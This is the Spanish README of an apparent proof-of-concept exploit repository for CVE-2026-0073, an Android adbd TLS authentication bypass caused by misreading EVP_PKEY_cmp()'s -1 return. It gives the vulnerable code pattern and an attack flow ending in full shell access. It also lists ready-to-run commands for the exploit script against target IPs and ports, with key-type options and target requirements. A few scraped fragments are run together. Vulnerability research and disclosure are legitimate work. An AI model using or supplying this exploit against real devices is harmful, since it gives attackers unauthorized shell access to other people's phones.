
CVE-2026-0073 — Bypass de autenticación TLS del daemon ADB de Android (adbd) mediante confusión de tipos en EVP_PKEY_cmp. Obtenga acceso shell no autorizado a través de WiFi usando un desajuste de claves EC/Ed25519. Exploit PoC para Android 14+.
EVP_PKEY_cmp() → shell ADB no autorizadaUn bypass de autenticación crítico en el daemon ADB de Android (adbd) permite que cualquier atacante en la red local obtenga una shell completa en un dispositivo objetivo sin autorización del usuario.
La vulnerabilidad existe en adbd_tls_verify_cert() dentro de daemon/auth.cpp, donde EVP_PKEY_cmp() se usa como booleano. Cuando la clave almacenada es RSA y el certificado de cliente TLS presentado lleva una clave no RSA (EC P-256 o Ed25519), EVP_PKEY_cmp() devuelve -1 (desajuste de tipo), que es verdadero en C/C++, por lo que authorized = true.
// Patrón de código vulnerable en daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← ERROR: ¡-1 es verdadero!
authorized = true;
}
pip install cryptography
# Shell interactiva
python adb_tls_auth_bypass.py <IP_OBJETIVO> <PUERTO>
# Ejecución de un solo comando
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Modo verboso (ver el rastro completo del protocolo)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
De forma predeterminada, el script prueba automáticamente EC P-256 → Ed25519 → EC/TLS 1.2 hasta que uno tenga éxito.
Atacante Objetivo (adbd)
│ │
│──── Conexión TCP ─────────────────►│
│──── CNXN (texto claro) ───────────►│
│◄─── STLS (solicitud de actualización TLS) ──│
│──── Respuesta STLS ───────────────►│
│ │
│════ Handshake TLS 1.3 ════════════│
│ (certificado de cliente EC P-256 presentado) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 es verdadero → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (información del dispositivo) ──────────│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (E/S de shell) ────►│
│ │
[ACCESO COMPLETO A LA SHELL] │
⚠️ Importante: La clave RSA debe estar en
/data/misc/adb/adb_keys, que se completa mediante el emparejamiento de depuración USB (aceptando el diálogo "¿Permitir depuración USB?"). El emparejamiento de depuración inalámbrica (adb pair) almacena las claves en una ubicación diferente (adb_known_hosts.pb) y NO cumple este requisito.
adb shell getprop ro.build.version.security_patch
Probado y confirmado funcionando en:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Plataforma: Android 14 (Emulador de Android Studio)
Este fork incluye varias mejoras:
select() para soporte multiplataforma-vCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Script principal del exploit
└── README.md # Este archivo
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Obtenga siempre la autorización adecuada antes de realizar pruebas. El autor no asume ninguna responsabilidad por el mal uso de este software.
EVP_PKEY_cmpSi esto ayudó a tu investigación, deja una ⭐
Retorno de EVP_PKEY_cmp() | Significado | ¿Verdadero en C? | Resultado |
|---|
1 | Las claves coinciden | ✅ | Autorizado (correcto) |
0 | Las claves difieren | ❌ | Rechazado (correcto) |
-1 | Desajuste de tipo | ✅ | Autorizado (ERROR) |
| Requisito | Detalles |
|---|
| Opciones de desarrollador | Habilitadas en el dispositivo objetivo |
| Depuración inalámbrica | Habilitada (o ADB sobre TCP en el puerto 5555) |
| Clave RSA almacenada | El dispositivo debe haberse emparejado por USB al menos una vez (/data/misc/adb/adb_keys) |
| Acceso a la red | El atacante debe poder alcanzar el puerto TCP de adbd |